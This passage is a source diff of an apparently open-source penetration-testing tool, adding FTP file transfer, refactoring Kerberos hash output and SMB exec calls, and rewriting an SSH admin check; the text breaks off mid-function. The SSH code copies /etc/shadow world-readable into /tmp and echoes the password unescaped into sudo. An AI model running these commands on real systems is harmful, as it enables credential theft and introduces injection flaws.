self.conn.close()
|
||||||
return True
|
return True
|
||||||
self.conn.close()
|
self.conn.close()
|
||||||
return None
|
|
||||||
|
|
||||||
def list_directory_full(self):
|
def list_directory_full(self):
|
||||||
# in the future we can use mlsd/nlst if we want, but this gives a full output like `ls -la`
|
# in the future we can use mlsd/nlst if we want, but this gives a full output like `ls -la`
|
||||||
# ftplib's "dir" prints directly to stdout, and "nlst" only returns the folder name, not full details
|
# ftplib's "dir" prints directly to stdout, and "nlst" only returns the folder name, not full details
|
||||||
files = []
|
files = []
|
||||||
|
try:
|
||||||
self.conn.retrlines("LIST", callback=files.append)
|
self.conn.retrlines("LIST", callback=files.append)
|
||||||
|
except error_perm as error_message:
|
||||||
|
self.logger.fail(f"Failed to list directory. Response: ({error_message})")
|
||||||
|
self.conn.close()
|
||||||
|
return False
|
||||||
return files
|
return files
|
||||||
|
|
||||||
|
def get_file(self, filename):
|
||||||
|
# Extract the filename from the path
|
||||||
|
downloaded_file = filename.split("/")[-1]
|
||||||
|
try:
|
||||||
|
# Check if the current connection is ASCII (ASCII does not support .size())
|
||||||
|
if self.conn.encoding == "utf-8":
|
||||||
|
# Switch the connection to binary
|
||||||
|
self.conn.sendcmd("TYPE I")
|
||||||
|
# Check if the file exists
|
||||||
|
self.conn.size(filename)
|
||||||
|
# Attempt to download the file
|
||||||
|
self.conn.retrbinary(f"RETR {filename}", open(downloaded_file, "wb").write) # noqa: SIM115
|
||||||
|
except error_perm as error_message:
|
||||||
|
self.logger.fail(f"Failed to download the file. Response: ({error_message})")
|
||||||
|
self.conn.close()
|
||||||
|
return False
|
||||||
|
except FileNotFoundError:
|
||||||
|
self.logger.fail("Failed to download the file. Response: (No such file or directory.)")
|
||||||
|
self.conn.close()
|
||||||
|
return False
|
||||||
|
# Check if the file was downloaded
|
||||||
|
if os.path.isfile(downloaded_file):
|
||||||
|
self.logger.success(f"Downloaded: {filename}")
|
||||||
|
else:
|
||||||
|
self.logger.fail(f"Failed to download: {filename}")
|
||||||
|
|
||||||
|
def put_file(self, local_file, remote_file):
|
||||||
|
try:
|
||||||
|
# Attempt to upload the file
|
||||||
|
self.conn.storbinary(f"STOR {remote_file}", open(local_file, "rb")) # noqa: SIM115
|
||||||
|
except error_perm as error_message:
|
||||||
|
self.logger.fail(f"Failed to upload file. Response: ({error_message})")
|
||||||
|
return False
|
||||||
|
except FileNotFoundError:
|
||||||
|
self.logger.fail(f"Failed to upload file. {local_file} does not exist locally.")
|
||||||
|
return False
|
||||||
|
# Check if the file was uploaded
|
||||||
|
if self.conn.size(remote_file) > 0:
|
||||||
|
self.logger.success(f"Uploaded: {local_file} to {remote_file}")
|
||||||
|
else:
|
||||||
|
self.logger.fail(f"Failed to upload: {local_file} to {remote_file}")
|
||||||
|
|
||||||
def supported_commands(self):
|
def supported_commands(self):
|
||||||
raw_supported_commands = self.conn.sendcmd("HELP")
|
raw_supported_commands = self.conn.sendcmd("HELP")
|
||||||
supported_commands = [item for sublist in (x.split() for x in raw_supported_commands.split("\n")[1:-1]) for item in sublist]
|
supported_commands = [item for sublist in (x.split() for x in raw_supported_commands.split("\n")[1:-1]) for item in sublist]
|
||||||
|
|
|
@ -138,7 +138,6 @@ class database:
|
||||||
if updated_ids:
|
if updated_ids:
|
||||||
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
|
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
|
||||||
return updated_ids
|
return updated_ids
|
||||||
return None
|
|
||||||
|
|
||||||
def add_credential(self, username, password):
|
def add_credential(self, username, password):
|
||||||
"""Check if this credential has already been added to the database, if not add it in."""
|
"""Check if this credential has already been added to the database, if not add it in."""
|
||||||
|
@ -205,9 +204,7 @@ class database:
|
||||||
self.CredentialsTable.c.password == password,
|
self.CredentialsTable.c.password == password,
|
||||||
)
|
)
|
||||||
results = self.sess.execute(q).first()
|
results = self.sess.execute(q).first()
|
||||||
if results is None:
|
if results is not None:
|
||||||
return None
|
|
||||||
else:
|
|
||||||
return results.id
|
return results.id
|
||||||
|
|
||||||
def get_credentials(self, filter_term=None):
|
def get_credentials(self, filter_term=None):
|
||||||
|
@ -291,7 +288,6 @@ class database:
|
||||||
return inserted_id_results[0].id
|
return inserted_id_results[0].id
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
nxc_logger.debug(f"Error inserting LoggedinRelation: {e}")
|
nxc_logger.debug(f"Error inserting LoggedinRelation: {e}")
|
||||||
return None
|
|
||||||
|
|
||||||
def get_loggedin_relations(self, cred_id=None, host_id=None):
|
def get_loggedin_relations(self, cred_id=None, host_id=None):
|
||||||
q = select(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id)
|
q = select(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id)
|
||||||
|
|
|
@ -3,5 +3,7 @@ def proto_args(parser, std_parser, module_parser):
|
||||||
ftp_parser.add_argument("--port", type=int, default=21, help="FTP port (default: 21)")
|
ftp_parser.add_argument("--port", type=int, default=21, help="FTP port (default: 21)")
|
||||||
|
|
||||||
cgroup = ftp_parser.add_argument_group("FTP Access", "Options for enumerating your access")
|
cgroup = ftp_parser.add_argument_group("FTP Access", "Options for enumerating your access")
|
||||||
cgroup.add_argument("--ls", action="store_true", help="List files in the directory")
|
cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List files in the directory, ex: --ls or --ls Directory")
|
||||||
|
cgroup.add_argument("--get", metavar="FILE", help="Download a file, ex: --get fileName.txt")
|
||||||
|
cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file, ex: --put inputFileName.txt outputFileName.txt")
|
||||||
return parser
|
return parser
|
||||||
|
|
|
@ -834,7 +834,6 @@ class ldap(connection):
|
||||||
resp = self.search(search_filter, attributes, 0)
|
resp = self.search(search_filter, attributes, 0)
|
||||||
if resp == []:
|
if resp == []:
|
||||||
self.logger.highlight("No entries found!")
|
self.logger.highlight("No entries found!")
|
||||||
return None
|
|
||||||
elif resp:
|
elif resp:
|
||||||
answers = []
|
answers = []
|
||||||
self.logger.display(f"Total of records returned {len(resp):d}")
|
self.logger.display(f"Total of records returned {len(resp):d}")
|
||||||
|
@ -884,10 +883,8 @@ class ldap(connection):
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
self.logger.highlight("No entries found!")
|
self.logger.highlight("No entries found!")
|
||||||
return None
|
|
||||||
else:
|
else:
|
||||||
self.logger.fail("Error with the LDAP account used")
|
self.logger.fail("Error with the LDAP account used")
|
||||||
return None
|
|
||||||
|
|
||||||
def kerberoasting(self):
|
def kerberoasting(self):
|
||||||
# Building the search filter
|
# Building the search filter
|
||||||
|
@ -984,9 +981,7 @@ class ldap(connection):
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
self.logger.highlight("No entries found!")
|
self.logger.highlight("No entries found!")
|
||||||
return None
|
|
||||||
self.logger.fail("Error with the LDAP account used")
|
self.logger.fail("Error with the LDAP account used")
|
||||||
return None
|
|
||||||
|
|
||||||
def trusted_for_delegation(self):
|
def trusted_for_delegation(self):
|
||||||
# Building the search filter
|
# Building the search filter
|
||||||
|
@ -1117,7 +1112,6 @@ class ldap(connection):
|
||||||
self.logger.highlight(f"User: {value[0]} Status: {value[5]}")
|
self.logger.highlight(f"User: {value[0]} Status: {value[5]}")
|
||||||
else:
|
else:
|
||||||
self.logger.fail("No entries found!")
|
self.logger.fail("No entries found!")
|
||||||
return None
|
|
||||||
|
|
||||||
def admin_count(self):
|
def admin_count(self):
|
||||||
# Building the search filter
|
# Building the search filter
|
||||||
|
|
|
@ -243,4 +243,9 @@ class KerberosAttacks:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
# Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it.
|
# Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it.
|
||||||
return "$krb5asrep$%d$%s@%s:%s$%s" % (as_rep["enc-part"]["etype"], client_name, domain, hexlify(as_rep["enc-part"]["cipher"].asOctets()[:12]).decode(), hexlify(as_rep["enc-part"]["cipher"].asOctets()[12:]).decode()) if as_rep["enc-part"]["etype"] == 17 or as_rep["enc-part"]["etype"] == 18 else "$krb5asrep$%d$%s@%s:%s$%s" % (as_rep["enc-part"]["etype"], client_name, domain, hexlify(as_rep["enc-part"]["cipher"].asOctets()[:16]).decode(), hexlify(as_rep["enc-part"]["cipher"].asOctets()[16:]).decode())
|
hash_tgt = f"$krb5asrep${as_rep['enc-part']['etype']}${client_name}@{domain}:"
|
||||||
|
if as_rep["enc-part"]["etype"] in (17, 18):
|
||||||
|
hash_tgt += f"{hexlify(as_rep['enc-part']['cipher'].asOctets()[:12]).decode()}${hexlify(as_rep['enc-part']['cipher'].asOctets()[12:]).decode()}"
|
||||||
|
else:
|
||||||
|
hash_tgt += f"{hexlify(as_rep['enc-part']['cipher'].asOctets()[:16]).decode()}${hexlify(as_rep['enc-part']['cipher'].asOctets()[16:]).decode()}"
|
||||||
|
return hash_tgt
|
||||||
|
|
|
@ -647,7 +647,22 @@ class smb(connection):
|
||||||
current_method = method
|
current_method = method
|
||||||
if method == "wmiexec":
|
if method == "wmiexec":
|
||||||
try:
|
try:
|
||||||
exec_method = WMIEXEC(self.host if not self.kerberos else self.hostname + "." + self.domain, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.kerberos, self.aesKey, self.kdcHost, self.hash, self.args.share, logger=self.logger, timeout=self.args.dcom_timeout, tries=self.args.get_output_tries)
|
exec_method = WMIEXEC(
|
||||||
|
self.host if not self.kerberos else self.hostname + "." + self.domain,
|
||||||
|
self.smb_share_name,
|
||||||
|
self.username,
|
||||||
|
self.password,
|
||||||
|
self.domain,
|
||||||
|
self.conn,
|
||||||
|
self.kerberos,
|
||||||
|
self.aesKey,
|
||||||
|
self.kdcHost,
|
||||||
|
self.hash,
|
||||||
|
self.args.share,
|
||||||
|
logger=self.logger,
|
||||||
|
timeout=self.args.dcom_timeout,
|
||||||
|
tries=self.args.get_output_tries
|
||||||
|
)
|
||||||
self.logger.info("Executed command via wmiexec")
|
self.logger.info("Executed command via wmiexec")
|
||||||
break
|
break
|
||||||
except Exception:
|
except Exception:
|
||||||
|
@ -656,7 +671,19 @@ class smb(connection):
|
||||||
continue
|
continue
|
||||||
elif method == "mmcexec":
|
elif method == "mmcexec":
|
||||||
try:
|
try:
|
||||||
exec_method = MMCEXEC(self.host if not self.kerberos else self.hostname + "." + self.domain, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.args.share, self.hash, self.logger, self.args.get_output_tries, self.args.dcom_timeout)
|
exec_method = MMCEXEC(
|
||||||
|
self.host if not self.kerberos else self.hostname + "." + self.domain,
|
||||||
|
self.smb_share_name,
|
||||||
|
self.username,
|
||||||
|
self.password,
|
||||||
|
self.domain,
|
||||||
|
self.conn,
|
||||||
|
self.args.share,
|
||||||
|
self.hash,
|
||||||
|
self.logger,
|
||||||
|
self.args.get_output_tries,
|
||||||
|
self.args.dcom_timeout
|
||||||
|
)
|
||||||
self.logger.info("Executed command via mmcexec")
|
self.logger.info("Executed command via mmcexec")
|
||||||
break
|
break
|
||||||
except Exception:
|
except Exception:
|
||||||
|
@ -665,7 +692,20 @@ class smb(connection):
|
||||||
continue
|
continue
|
||||||
elif method == "atexec":
|
elif method == "atexec":
|
||||||
try:
|
try:
|
||||||
exec_method = TSCH_EXEC(self.host if not self.kerberos else self.hostname + "." + self.domain, self.smb_share_name, self.username, self.password, self.domain, self.kerberos, self.aesKey, self.kdcHost, self.hash, self.logger, self.args.get_output_tries, self.args.share)
|
exec_method = TSCH_EXEC(
|
||||||
|
self.host if not self.kerberos else self.hostname + "." + self.domain,
|
||||||
|
self.smb_share_name,
|
||||||
|
self.username,
|
||||||
|
self.password,
|
||||||
|
self.domain,
|
||||||
|
self.kerberos,
|
||||||
|
self.aesKey,
|
||||||
|
self.kdcHost,
|
||||||
|
self.hash,
|
||||||
|
self.logger,
|
||||||
|
self.args.get_output_tries,
|
||||||
|
self.args.share
|
||||||
|
)
|
||||||
self.logger.info("Executed command via atexec")
|
self.logger.info("Executed command via atexec")
|
||||||
break
|
break
|
||||||
except Exception:
|
except Exception:
|
||||||
|
@ -674,7 +714,23 @@ class smb(connection):
|
||||||
continue
|
continue
|
||||||
elif method == "smbexec":
|
elif method == "smbexec":
|
||||||
try:
|
try:
|
||||||
exec_method = SMBEXEC(self.host if not self.kerberos else self.hostname + "." + self.domain, self.smb_share_name, self.conn, self.args.port, self.username, self.password, self.domain, self.kerberos, self.aesKey, self.kdcHost, self.hash, self.args.share, self.args.port, self.logger, self.args.get_output_tries)
|
exec_method = SMBEXEC(
|
||||||
|
self.host if not self.kerberos else self.hostname + "." + self.domain,
|
||||||
|
self.smb_share_name,
|
||||||
|
self.conn,
|
||||||
|
self.args.port,
|
||||||
|
self.username,
|
||||||
|
self.password,
|
||||||
|
self.domain,
|
||||||
|
self.kerberos,
|
||||||
|
self.aesKey,
|
||||||
|
self.kdcHost,
|
||||||
|
self.hash,
|
||||||
|
self.args.share,
|
||||||
|
self.args.port,
|
||||||
|
self.logger,
|
||||||
|
self.args.get_output_tries
|
||||||
|
)
|
||||||
self.logger.info("Executed command via smbexec")
|
self.logger.info("Executed command via smbexec")
|
||||||
break
|
break
|
||||||
except Exception:
|
except Exception:
|
||||||
|
@ -1556,7 +1612,6 @@ class smb(connection):
|
||||||
credential.password,
|
credential.password,
|
||||||
credential.url,
|
credential.url,
|
||||||
)
|
)
|
||||||
return None
|
|
||||||
|
|
||||||
@requires_admin
|
@requires_admin
|
||||||
def lsa(self):
|
def lsa(self):
|
||||||
|
|
|
@ -289,7 +289,6 @@ class database:
|
||||||
if updated_ids:
|
if updated_ids:
|
||||||
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
|
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
|
||||||
return updated_ids
|
return updated_ids
|
||||||
return None
|
|
||||||
|
|
||||||
def add_credential(self, credtype, domain, username, password, group_id=None, pillaged_from=None):
|
def add_credential(self, credtype, domain, username, password, group_id=None, pillaged_from=None):
|
||||||
"""Check if this credential has already been added to the database, if not add it in."""
|
"""Check if this credential has already been added to the database, if not add it in."""
|
||||||
|
@ -452,9 +451,7 @@ class database:
|
||||||
if user_domain:
|
if user_domain:
|
||||||
q = select(self.HostsTable).filter(func.lower(self.HostsTable.c.id) == func.lower(user_domain))
|
q = select(self.HostsTable).filter(func.lower(self.HostsTable.c.id) == func.lower(user_domain))
|
||||||
results = self.conn.execute(q).all()
|
results = self.conn.execute(q).all()
|
||||||
|
|
||||||
return len(results) > 0
|
return len(results) > 0
|
||||||
return None
|
|
||||||
|
|
||||||
def is_host_valid(self, host_id):
|
def is_host_valid(self, host_id):
|
||||||
"""Check if this host ID is valid."""
|
"""Check if this host ID is valid."""
|
||||||
|
@ -826,7 +823,6 @@ class database:
|
||||||
return inserted_id_results[0].id
|
return inserted_id_results[0].id
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
nxc_logger.debug(f"Error inserting LoggedinRelation: {e}")
|
nxc_logger.debug(f"Error inserting LoggedinRelation: {e}")
|
||||||
return None
|
|
||||||
|
|
||||||
def get_loggedin_relations(self, user_id=None, host_id=None):
|
def get_loggedin_relations(self, user_id=None, host_id=None):
|
||||||
q = select(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id)
|
q = select(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id)
|
||||||
|
@ -897,7 +893,6 @@ class database:
|
||||||
if updated_ids:
|
if updated_ids:
|
||||||
nxc_logger.debug(f"add_check() - Checks IDs Updated: {updated_ids}")
|
nxc_logger.debug(f"add_check() - Checks IDs Updated: {updated_ids}")
|
||||||
return updated_ids
|
return updated_ids
|
||||||
return None
|
|
||||||
|
|
||||||
def add_check_result(self, host_id, check_id, secure, reasons):
|
def add_check_result(self, host_id, check_id, secure, reasons):
|
||||||
"""Check if this check result has already been added to the database, if not, add it in."""
|
"""Check if this check result has already been added to the database, if not, add it in."""
|
||||||
|
@ -910,4 +905,3 @@ class database:
|
||||||
if updated_ids:
|
if updated_ids:
|
||||||
nxc_logger.debug(f"add_check_result() - Check Results IDs Updated: {updated_ids}")
|
nxc_logger.debug(f"add_check_result() - Check Results IDs Updated: {updated_ids}")
|
||||||
return updated_ids
|
return updated_ids
|
||||||
return None
|
|
||||||
|
|
|
@ -150,7 +150,6 @@ class FirefoxTriage:
|
||||||
fh.close()
|
fh.close()
|
||||||
return b""
|
return b""
|
||||||
fh.close()
|
fh.close()
|
||||||
return None
|
|
||||||
|
|
||||||
def is_master_password_correct(self, key_data, master_password=b""):
|
def is_master_password_correct(self, key_data, master_password=b""):
|
||||||
try:
|
try:
|
||||||
|
@ -236,9 +235,4 @@ class FirefoxTriage:
|
||||||
# 04 is OCTETSTRING, 0x0e is length == 14
|
# 04 is OCTETSTRING, 0x0e is length == 14
|
||||||
encrypted_value = decoded_item[0][1].asOctets()
|
encrypted_value = decoded_item[0][1].asOctets()
|
||||||
cipher = AES.new(key, AES.MODE_CBC, iv)
|
cipher = AES.new(key, AES.MODE_CBC, iv)
|
||||||
decrypted = cipher.decrypt(encrypted_value)
|
return cipher.decrypt(encrypted_value)
|
||||||
if decrypted is not None:
|
|
||||||
return decrypted
|
|
||||||
else:
|
|
||||||
return None
|
|
||||||
return None
|
|
||||||
|
|
|
@ -155,7 +155,6 @@ class SAMRQuery:
|
||||||
return resp["ServerHandle"]
|
return resp["ServerHandle"]
|
||||||
else:
|
else:
|
||||||
nxc_logger.debug("Error creating Samr handle")
|
nxc_logger.debug("Error creating Samr handle")
|
||||||
return None
|
|
||||||
|
|
||||||
def get_domains(self):
|
def get_domains(self):
|
||||||
"""Calls the hSamrEnumerateDomainsInSamServer() method directly with list comprehension and extracts the "Name" value from each element in the "Buffer" list."""
|
"""Calls the hSamrEnumerateDomainsInSamServer() method directly with list comprehension and extracts the "Name" value from each element in the "Buffer" list."""
|
||||||
|
|
|
@ -132,7 +132,6 @@ class SMBEXEC:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
self.get_output_remote()
|
self.get_output_remote()
|
||||||
return None
|
|
||||||
|
|
||||||
def get_output_remote(self):
|
def get_output_remote(self):
|
||||||
if self.__retOutput is False:
|
if self.__retOutput is False:
|
||||||
|
|
|
@ -1,12 +1,12 @@
|
||||||
|
import paramiko
|
||||||
|
import re
|
||||||
|
import uuid
|
||||||
import logging
|
import logging
|
||||||
|
import time
|
||||||
|
|
||||||
from io import StringIO
|
from io import StringIO
|
||||||
|
|
||||||
import paramiko
|
|
||||||
|
|
||||||
from nxc.config import process_secret
|
from nxc.config import process_secret
|
||||||
from nxc.connection import connection
|
from nxc.connection import connection, highlight
|
||||||
from nxc.helpers.logger import highlight
|
|
||||||
from nxc.logger import NXCAdapter
|
from nxc.logger import NXCAdapter
|
||||||
from paramiko.ssh_exception import (
|
from paramiko.ssh_exception import (
|
||||||
AuthenticationException,
|
AuthenticationException,
|
||||||
|
@ -18,11 +18,30 @@ from paramiko.ssh_exception import (
|
||||||
class ssh(connection):
|
class ssh(connection):
|
||||||
def __init__(self, args, db, host):
|
def __init__(self, args, db, host):
|
||||||
self.protocol = "SSH"
|
self.protocol = "SSH"
|
||||||
self.remote_version = None
|
self.remote_version = "Unknown SSH Version"
|
||||||
self.server_os = None
|
self.server_os_platform = "Linux"
|
||||||
|
self.user_principal = "root"
|
||||||
super().__init__(args, db, host)
|
super().__init__(args, db, host)
|
||||||
|
|
||||||
|
def proto_flow(self):
|
||||||
|
self.logger.debug("Kicking off proto_flow")
|
||||||
|
self.proto_logger()
|
||||||
|
if self.create_conn_obj():
|
||||||
|
self.enum_host_info()
|
||||||
|
self.print_host_info()
|
||||||
|
if self.remote_version == "Unknown SSH Version":
|
||||||
|
self.conn.close()
|
||||||
|
return
|
||||||
|
if self.login():
|
||||||
|
if hasattr(self.args, "module") and self.args.module:
|
||||||
|
self.call_modules()
|
||||||
|
else:
|
||||||
|
self.call_cmd_args()
|
||||||
|
self.conn.close()
|
||||||
|
|
||||||
def proto_logger(self):
|
def proto_logger(self):
|
||||||
|
logging.getLogger("paramiko").disabled = True
|
||||||
|
logging.getLogger("paramiko.transport").disabled = True
|
||||||
self.logger = NXCAdapter(
|
self.logger = NXCAdapter(
|
||||||
extra={
|
extra={
|
||||||
"protocol": "SSH",
|
"protocol": "SSH",
|
||||||
|
@ -31,28 +50,22 @@ class ssh(connection):
|
||||||
"hostname": self.hostname,
|
"hostname": self.hostname,
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
logging.getLogger("paramiko").setLevel(logging.WARNING)
|
|
||||||
|
|
||||||
def print_host_info(self):
|
def print_host_info(self):
|
||||||
self.logger.display(self.remote_version)
|
self.logger.display(self.remote_version if self.remote_version != "Unknown SSH Version" else f"{self.remote_version}, skipping...")
|
||||||
return True
|
return True
|
||||||
|
|
||||||
def enum_host_info(self):
|
def enum_host_info(self):
|
||||||
|
if self.conn._transport.remote_version:
|
||||||
self.remote_version = self.conn._transport.remote_version
|
self.remote_version = self.conn._transport.remote_version
|
||||||
self.logger.debug(f"Remote version: {self.remote_version}")
|
self.logger.debug(f"Remote version: {self.remote_version}")
|
||||||
self.server_os = ""
|
self.db.add_host(self.host, self.args.port, self.remote_version)
|
||||||
if self.args.remote_enum:
|
|
||||||
stdin, stdout, stderr = self.conn.exec_command("uname -r")
|
|
||||||
self.server_os = stdout.read().decode("utf-8")
|
|
||||||
self.logger.debug(f"OS retrieved: {self.server_os}")
|
|
||||||
self.db.add_host(self.host, self.args.port, self.remote_version, os=self.server_os)
|
|
||||||
|
|
||||||
def create_conn_obj(self):
|
def create_conn_obj(self):
|
||||||
self.conn = paramiko.SSHClient()
|
self.conn = paramiko.SSHClient()
|
||||||
self.conn.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
self.conn.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||||
|
|
||||||
try:
|
try:
|
||||||
self.conn.connect(self.host, port=self.args.port)
|
self.conn.connect(self.host, port=self.args.port, timeout=self.args.ssh_timeout, look_for_keys=False)
|
||||||
except AuthenticationException:
|
except AuthenticationException:
|
||||||
return True
|
return True
|
||||||
except SSHException:
|
except SSHException:
|
||||||
|
@ -62,72 +75,184 @@ class ssh(connection):
|
||||||
except OSError:
|
except OSError:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def client_close(self):
|
|
||||||
self.conn.close()
|
|
||||||
|
|
||||||
def check_if_admin(self):
|
def check_if_admin(self):
|
||||||
|
self.admin_privs = False
|
||||||
|
|
||||||
|
if self.args.sudo_check:
|
||||||
|
self.check_if_admin_sudo()
|
||||||
|
return
|
||||||
|
|
||||||
# we could add in another method to check by piping in the password to sudo
|
# we could add in another method to check by piping in the password to sudo
|
||||||
# but that might be too much of an opsec concern - maybe add in a flag to do more checks?
|
# but that might be too much of an opsec concern - maybe add in a flag to do more checks?
|
||||||
stdin, stdout, stderr = self.conn.exec_command("id")
|
self.logger.info("Determined user is root via `id; sudo -ln` command")
|
||||||
if stdout.read().decode("utf-8").find("uid=0(root)") != -1:
|
_, stdout, _ = self.conn.exec_command("id; sudo -ln 2>&1")
|
||||||
self.logger.info("Determined user is root via `id` command")
|
stdout = stdout.read().decode(self.args.codec, errors="ignore")
|
||||||
|
admin_flag = {
|
||||||
|
"(root)": [True, None],
|
||||||
|
"NOPASSWD: ALL": [True, None],
|
||||||
|
"(ALL : ALL) ALL": [True, None],
|
||||||
|
"(sudo)": [False, f"Current user: '{self.username}' was in 'sudo' group, please try '--sudo-check' to check if user can run sudo shell"]
|
||||||
|
}
|
||||||
|
for keyword in admin_flag:
|
||||||
|
match = re.findall(re.escape(keyword), stdout)
|
||||||
|
if match:
|
||||||
|
self.logger.info(f"User: '{self.username}' matched keyword: {match[0]}")
|
||||||
|
self.admin_privs = admin_flag[match[0]][0]
|
||||||
|
if not self.admin_privs:
|
||||||
|
tips = admin_flag[match[0]][1]
|
||||||
|
else:
|
||||||
|
break
|
||||||
|
if not self.admin_privs and "tips" in locals():
|
||||||
|
self.logger.display(tips)
|
||||||
|
return
|
||||||
|
|
||||||
|
def check_if_admin_sudo(self):
|
||||||
|
if not self.password:
|
||||||
|
self.logger.error("Check admin with sudo does not support using a private key")
|
||||||
|
return
|
||||||
|
|
||||||
|
if self.args.sudo_check_method:
|
||||||
|
method = self.args.sudo_check_method
|
||||||
|
self.logger.info(f"Doing sudo check with method: {method}")
|
||||||
|
|
||||||
|
if method == "sudo-stdin":
|
||||||
|
_, stdout, _ = self.conn.exec_command("sudo --help")
|
||||||
|
stdout = stdout.read().decode(self.args.codec, errors="ignore")
|
||||||
|
# Read sudo help docs and find "stdin"
|
||||||
|
if "stdin" in stdout:
|
||||||
|
shadow_backup = f"/tmp/{uuid.uuid4()}"
|
||||||
|
# sudo support stdin password
|
||||||
|
self.conn.exec_command(f"echo {self.password} | sudo -S cp /etc/shadow {shadow_backup} >/dev/null 2>&1 &")
|
||||||
|
self.conn.exec_command(f"echo {self.password} | sudo -S chmod 777 {shadow_backup} >/dev/null 2>&1 &")
|
||||||
|
tries = 1
|
||||||
|
while True:
|
||||||
|
self.logger.info(f"Checking {shadow_backup} if it existed")
|
||||||
|
_, _, stderr = self.conn.exec_command(f"ls {shadow_backup}")
|
||||||
|
if tries >= self.args.get_output_tries:
|
||||||
|
self.logger.info(f"The file {shadow_backup} does not exist, the pipe may be hanging. Increase the number of tries with the option '--get-output-tries' or change other method with '--sudo-check-method'. If it's still failing, maybe sudo shell does not work with the current user")
|
||||||
|
break
|
||||||
|
if stderr.read().decode("utf-8"):
|
||||||
|
time.sleep(2)
|
||||||
|
tries += 1
|
||||||
|
else:
|
||||||
|
self.logger.info(f"{shadow_backup} existed")
|
||||||
self.admin_privs = True
|
self.admin_privs = True
|
||||||
return True
|
break
|
||||||
stdin, stdout, stderr = self.conn.exec_command("sudo -ln | grep 'NOPASSWD: ALL'")
|
self.logger.info(f"Remove up temporary files {shadow_backup}")
|
||||||
if stdout.read().decode("utf-8").find("NOPASSWD: ALL") != -1:
|
self.conn.exec_command(f"echo {self.password} | sudo -S rm -rf {shadow_backup}")
|
||||||
self.logger.info("Determined user is root via `sudo -ln` command")
|
else:
|
||||||
|
self.logger.error("Command: 'sudo' not support stdin mode, running command with 'sudo' failed")
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
_, stdout, _ = self.conn.exec_command("mkfifo --help")
|
||||||
|
stdout = stdout.read().decode(self.args.codec, errors="ignore")
|
||||||
|
# check if user can execute mkfifo
|
||||||
|
if "Create named pipes" in stdout:
|
||||||
|
self.logger.info("Command: 'mkfifo' available")
|
||||||
|
pipe_stdin = f"/tmp/systemd-{uuid.uuid4()}"
|
||||||
|
pipe_stdout = f"/tmp/systemd-{uuid.uuid4()}"
|
||||||
|
shadow_backup = f"/tmp/{uuid.uuid4()}"
|
||||||
|
self.conn.exec_command(f"mkfifo {pipe_stdin}; tail -f {pipe_stdin} | /bin/sh 2>&1 > {pipe_stdout} >/dev/null 2>&1 &")
|
||||||
|
# 'script -qc /bin/sh /dev/null' means "upgrade" the shell, like reverse shell from netcat
|
||||||
|
self.conn.exec_command(f"echo 'script -qc /bin/sh /dev/null' > {pipe_stdin}")
|
||||||
|
self.conn.exec_command(f"echo 'sudo -s' > {pipe_stdin} && echo '{self.password}' > {pipe_stdin}")
|
||||||
|
# Sometime the pipe will hanging(only happen with paramiko)
|
||||||
|
# Can't get "whoami" or "id" result in pipe_stdout, maybe something wrong using pipe with paramiko
|
||||||
|
# But one thing I can confirm, is the command was executed even can't get result from pipe_stdout
|
||||||
|
tries = 1
|
||||||
|
self.logger.info(f"Copy /etc/shadow to {shadow_backup} if pass the sudo auth")
|
||||||
|
while True:
|
||||||
|
self.logger.info(f"Checking {shadow_backup} if it existed")
|
||||||
|
_, _, stderr = self.conn.exec_command(f"ls {shadow_backup}")
|
||||||
|
if tries >= self.args.get_output_tries:
|
||||||
|
self.logger.info(f"The file {shadow_backup} does not exist, the pipe may be hanging. Increase the number of tries with the option '--get-output-tries' or change other method with '--sudo-check-method'. If it's still failing, maybe sudo shell does not work with the current user")
|
||||||
|
break
|
||||||
|
|
||||||
|
if stderr.read().decode("utf-8"):
|
||||||
|
time.sleep(2)
|
||||||
|
self.conn.exec_command(f"echo 'cp /etc/shadow {shadow_backup} && chmod 777 {shadow_backup}' > {pipe_stdin}")
|
||||||
|
tries += 1
|
||||||
|
else:
|
||||||
|
self.logger.info(f"{shadow_backup} existed")
|
||||||
self.admin_privs = True
|
self.admin_privs = True
|
||||||
return True
|
break
|
||||||
return None
|
self.logger.info(f"Remove up temporary files {shadow_backup} {pipe_stdin} {pipe_stdout}")
|
||||||
|
self.conn.exec_command(f"echo 'rm -rf {shadow_backup}' > {pipe_stdin} && rm -rf {pipe_stdin} {pipe_stdout}")
|
||||||
|
else:
|
||||||
|
self.logger.error("Command: 'mkfifo' unavailable, running command with 'sudo' failed")
|
||||||
|
return
|
||||||
|
|
||||||
def plaintext_login(self, username, password, private_key=None):
|
def plaintext_login(self, username, password, private_key=None):
|
||||||
|
self.username = username
|
||||||
|
self.password = password
|
||||||
|
private_key = ""
|
||||||
|
stdout = None
|
||||||
try:
|
try:
|
||||||
if self.args.key_file or private_key:
|
if self.args.key_file or private_key:
|
||||||
pkey = paramiko.RSAKey.from_private_key(StringIO(private_key)) if private_key else paramiko.RSAKey.from_private_key_file(self.args.key_file)
|
|
||||||
|
|
||||||
self.logger.debug("Logging in with key")
|
self.logger.debug("Logging in with key")
|
||||||
self.conn.connect(
|
|
||||||
self.host,
|
if self.args.key_file:
